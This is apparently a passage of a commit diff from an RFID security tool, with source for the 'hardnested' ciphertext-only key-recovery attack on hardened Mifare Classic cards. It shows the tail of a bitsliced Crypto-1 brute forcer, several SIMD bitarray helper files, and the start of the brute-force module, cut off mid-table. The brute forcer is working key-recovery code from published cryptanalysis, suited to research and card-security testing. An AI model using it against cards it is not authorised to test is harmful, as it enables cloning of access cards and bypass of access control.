f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
if (ks_idx > KEYSTREAM_SIZE - 8) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
} else {
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
}
// update keystream bit
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
// for each completed byte:
if ((ks_idx & 0x07) == 0) {
// get encrypted parity bits
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
// decrypt parity bits
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
// compare actual parity bits with decrypted parity bits and take count in results vector
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
// make sure we still have a match in our set
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
// the short-circuiting also helps
if (results.bytes64[0] == 0 && results.bytes64[1] == 0) {
goto stop_tests;
}
// prepare for next nonce byte
parity_bit_vector = bs_zeroes.value;
}
// update feedback bit vector
if (ks_idx != 0) {
fb_bits =
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
}
// remember feedback and keystream vectors for later use
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
if (bit <= next_common_bits) { // if needed and not yet stored
fbb[bit] = fb_bits;
ksb[bit] = ks_bits;
par[bit] = parity_bit_vector;
}
}
// prepare for next nonce. Revert to initial state
state_p = &states[KEYSTREAM_SIZE];
}
// all nonce tests were successful: we've found a possible key in this block!
uint32_t *p_even_test = p_even;
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
uint64_t results64 = results.bytes64[results_word];
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
if (results64 & 0x01) {
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
struct Crypto1State pcs;
pcs.odd = *p_odd;
pcs.even = *p_even_test;
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
crypto1_get_lfsr(&pcs, &key);
bucket_states_tested += 64 * results_word + results_bit;
goto out;
}
}
results64 >>= 1;
p_even_test++;
if (p_even_test == p_even_end) {
goto stop_tests;
}
}
}
stop_tests:
bucket_states_tested += bucket_size[block_idx];
// prepare to set new states
state_p = &states[KEYSTREAM_SIZE];
continue;
}
}
out:
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
free_bitslice(bitsliced_even_states[block_idx]);
}
free(bitsliced_even_states);
free_bitslice(bitsliced_even_feedback);
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
return key;
}

View File

@ -0,0 +1,132 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.ch b
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
// some helper functions which can benefit from SIMD instructions or other special instructions
//
#include <stdint.h>
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
uint32_t* malloc_bitarray_AVX(uint32_t x) {
#if defined (_WIN32)
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
#elif defined (__APPLE__)
uint32_t *allocated_memory;
if (posix_memalign((void**) &allocated_memory, 16, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, 16);
}
#else
return __builtin_assume_aligned(memalign(16, (x)), 16);
#endif
}
void free_bitarray_AVX(uint32_t *x) {
#ifdef _WIN32
_aligned_free(x);
#else
free(x);
#endif
}
void bitarray_AND_AVX(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
}
}
uint32_t count_bitarray_AND_AVX(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
count += __builtin_popcountl(A[i]);
}
return count;
}
uint32_t count_bitarray_low20_AND_AVX(uint32_t* restrict A, uint32_t* restrict B) {
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 20); i++) {
if (!b[i]) {
a[i] = 0;
}
count += __builtin_popcountl(a[i]);
}
return count;
}
void bitarray_AND4_AVX(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] = B[i] & C[i] & D[i];
}
}
void bitarray_OR_AVX(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] |= B[i];
}
}
uint32_t count_bitarray_AND2_AVX(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i]);
}
return count;
}
uint32_t count_bitarray_AND3_AVX(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i]);
}
return count;
}
uint32_t count_bitarray_AND4_AVX(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
}
return count;
}

View File

@ -0,0 +1,132 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.ch b
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
// some helper functions which can benefit from SIMD instructions or other special instructions
//
#include <stdint.h>
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
uint32_t* malloc_bitarray_AVX2(uint32_t x) {
#if defined (_WIN32)
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
#elif defined (__APPLE__)
uint32_t *allocated_memory;
if (posix_memalign((void**) &allocated_memory, 16, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, 16);
}
#else
return __builtin_assume_aligned(memalign(16, (x)), 16);
#endif
}
void free_bitarray_AVX2(uint32_t* x) {
#ifdef _WIN32
_aligned_free(x);
#else
free(x);
#endif
}
void bitarray_AND_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
}
}
uint32_t count_bitarray_AND_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
count += __builtin_popcountl(A[i]);
}
return count;
}
uint32_t count_bitarray_low20_AND_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 20); i++) {
if (!b[i]) {
a[i] = 0;
}
count += __builtin_popcountl(a[i]);
}
return count;
}
void bitarray_AND4_AVX2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] = B[i] & C[i] & D[i];
}
}
void bitarray_OR_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] |= B[i];
}
}
uint32_t count_bitarray_AND2_AVX2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i]);
}
return count;
}
uint32_t count_bitarray_AND3_AVX2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i]);
}
return count;
}
uint32_t count_bitarray_AND4_AVX2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
}
return count;
}

View File

@ -0,0 +1,132 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.ch b
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
// some helper functions which can benefit from SIMD instructions or other special instructions
//
#include <stdint.h>
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
uint32_t* malloc_bitarray_AVX512(uint32_t x) {
#if defined (_WIN32)
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
#elif defined (__APPLE__)
uint32_t *allocated_memory;
if (posix_memalign((void**) &allocated_memory, 16, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, 16);
}
#else
return __builtin_assume_aligned(memalign(16, (x)), 16);
#endif
}
void free_bitarray_AVX512(uint32_t* x) {
#ifdef _WIN32
_aligned_free(x);
#else
free(x);
#endif
}
void bitarray_AND_AVX512(uint32_t * restrict A, uint32_t * restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
}
}
uint32_t count_bitarray_AND_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
count += __builtin_popcountl(A[i]);
}
return count;
}
uint32_t count_bitarray_low20_AND_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 20); i++) {
if (!b[i]) {
a[i] = 0;
}
count += __builtin_popcountl(a[i]);
}
return count;
}
void bitarray_AND4_AVX512(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] = B[i] & C[i] & D[i];
}
}
void bitarray_OR_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] |= B[i];
}
}
uint32_t count_bitarray_AND2_AVX512(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i]);
}
return count;
}
uint32_t count_bitarray_AND3_AVX512(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i]);
}
return count;
}
uint32_t count_bitarray_AND4_AVX512(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
}
return count;
}

View File

@ -0,0 +1,116 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.ch b
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
// some helper functions which can benefit from SIMD instructions or other special instructions
//
#include <stdint.h>
#include <stdlib.h>
#include <malloc.h>
uint32_t* malloc_bitarray_NOSIMD(uint32_t x) {
return __builtin_assume_aligned(memalign(__BIGGEST_ALIGNMENT__, (x)), __BIGGEST_ALIGNMENT__);
}
void free_bitarray_NOSIMD(uint32_t *x) {
free(x);
}
void bitarray_AND_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
}
}
uint32_t count_bitarray_AND_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
count += __builtin_popcountl(A[i]);
}
return count;
}
uint32_t count_bitarray_low20_AND_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
uint16_t *a = (uint16_t *) __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
uint16_t *b = (uint16_t *) __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 20); i++) {
if (!b[i]) {
a[i] = 0;
}
count += __builtin_popcountl(a[i]);
}
return count;
}
void bitarray_AND4_NOSIMD(uint32_t * restrict A, uint32_t * restrict B, uint32_t * restrict C, uint32_t * restrict D) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
C = __builtin_assume_aligned(C, __BIGGEST_ALIGNMENT__);
D = __builtin_assume_aligned(D, __BIGGEST_ALIGNMENT__);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] = B[i] & C[i] & D[i];
}
}
void bitarray_OR_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] |= B[i];
}
}
uint32_t count_bitarray_AND2_NOSIMD(uint32_t * restrict A, uint32_t * restrict B) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i]);
}
return count;
}
uint32_t count_bitarray_AND3_NOSIMD(uint32_t * restrict A, uint32_t * restrict B, uint32_t * restrict C) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
C = __builtin_assume_aligned(C, __BIGGEST_ALIGNMENT__);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i]);
}
return count;
}
uint32_t count_bitarray_AND4_NOSIMD(uint32_t * restrict A, uint32_t * restrict B, uint32_t * restrict C, uint32_t * restrict D) {
A = __builtin_assume_aligned(A, __BIGGEST_ALIGNMENT__);
B = __builtin_assume_aligned(B, __BIGGEST_ALIGNMENT__);
C = __builtin_assume_aligned(C, __BIGGEST_ALIGNMENT__);
D = __builtin_assume_aligned(D, __BIGGEST_ALIGNMENT__);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
}
return count;
}

View File

@ -0,0 +1,132 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.ch b
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
// some helper functions which can benefit from SIMD instructions or other special instructions
//
#include <stdint.h>
#include <stdlib.h>
#if !defined _MSC_VER && !defined __APPLE__
#include <malloc.h>
#endif
uint32_t* malloc_bitarray_SSE2(uint32_t x) {
#if defined (_WIN32)
return __builtin_assume_aligned(_aligned_malloc((x), 16), 16);
#elif defined (__APPLE__)
uint32_t *allocated_memory;
if (posix_memalign((void**) &allocated_memory, 16, x)) {
return NULL;
} else {
return __builtin_assume_aligned(allocated_memory, 16);
}
#else
return __builtin_assume_aligned(memalign(16, (x)), 16);
#endif
}
void free_bitarray_SSE2(uint32_t* x) {
#ifdef _WIN32
_aligned_free(x);
#else
free(x);
#endif
}
void bitarray_AND_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
}
}
uint32_t count_bitarray_AND_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] &= B[i];
count += __builtin_popcountl(A[i]);
}
return count;
}
uint32_t count_bitarray_low20_AND_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
uint16_t* a = (uint16_t*)__builtin_assume_aligned(A, 16);
uint16_t* b = (uint16_t*)__builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 20); i++) {
if (!b[i]) {
a[i] = 0;
}
count += __builtin_popcountl(a[i]);
}
return count;
}
void bitarray_AND4_SSE2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] = B[i] & C[i] & D[i];
}
}
void bitarray_OR_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
for (uint32_t i = 0; i < (1 << 19); i++) {
A[i] |= B[i];
}
}
uint32_t count_bitarray_AND2_SSE2(uint32_t* restrict A, uint32_t* restrict B) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i]);
}
return count;
}
uint32_t count_bitarray_AND3_SSE2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i]);
}
return count;
}
uint32_t count_bitarray_AND4_SSE2(uint32_t* restrict A, uint32_t* restrict B, uint32_t* restrict C, uint32_t* restrict D) {
A = __builtin_assume_aligned(A, 16);
B = __builtin_assume_aligned(B, 16);
C = __builtin_assume_aligned(C, 16);
D = __builtin_assume_aligned(D, 16);
uint32_t count = 0;
for (uint32_t i = 0; i < (1 << 19); i++) {
count += __builtin_popcountl(A[i] & B[i] & C[i] & D[i]);
}
return count;
}

View File

@ -0,0 +1,372 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2016, 2017 by piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Implements a card only attack based on crypto text (encrypted nonces
// received during a nested authentication) only. Unlike other card only
// attacks this doesn't rely on implementation errors but only on the
// inherent weaknesses of the crypto1 cypher. Described in
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
// Computer and Communications Security, 2015
//-----------------------------------------------------------------------------
//
// brute forcing is based on @aczids bitsliced brute forcer
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
// - don't rollback. Start with 2nd byte of nonce instead
// - reuse results of filter subfunctions
// - reuse results of previous nonces if some first bits are identical
//
//-----------------------------------------------------------------------------
// aczid's Copyright notice:
//
// Bit-sliced Crypto-1 brute-forcing implementation
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
/*
Copyright (c) 2015-2016 Aram Verstegen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "hardnested_bruteforce.h"
#include <stdlib.h>
#include <inttypes.h>
#include <pthread.h>
#include "hardnested_cpu_dispatch.h"
#include "../ui.h"
#include "../util.h"
#include "../util_posix.h"
#include "../crapto1.h"
#include "../parity.h"
#include "../mifare.h"
#include "../bf_bench_data.h"
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
#define TEST_BENCH_SIZE (6000) // number of odd and even states for brute force benchmark
static uint32_t nonces_to_bruteforce = 0;
static uint32_t bf_test_nonce[256];
static uint8_t bf_test_nonce_2nd_byte[256];
static uint8_t bf_test_nonce_par[256];
static uint32_t bucket_count = 0;
static statelist_t* buckets[128];
static uint32_t keys_found = 0;
static uint64_t num_keys_tested;
uint8_t trailing_zeros(uint8_t byte) {
static const uint8_t trailing_zeros_LUT[256] = {
8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
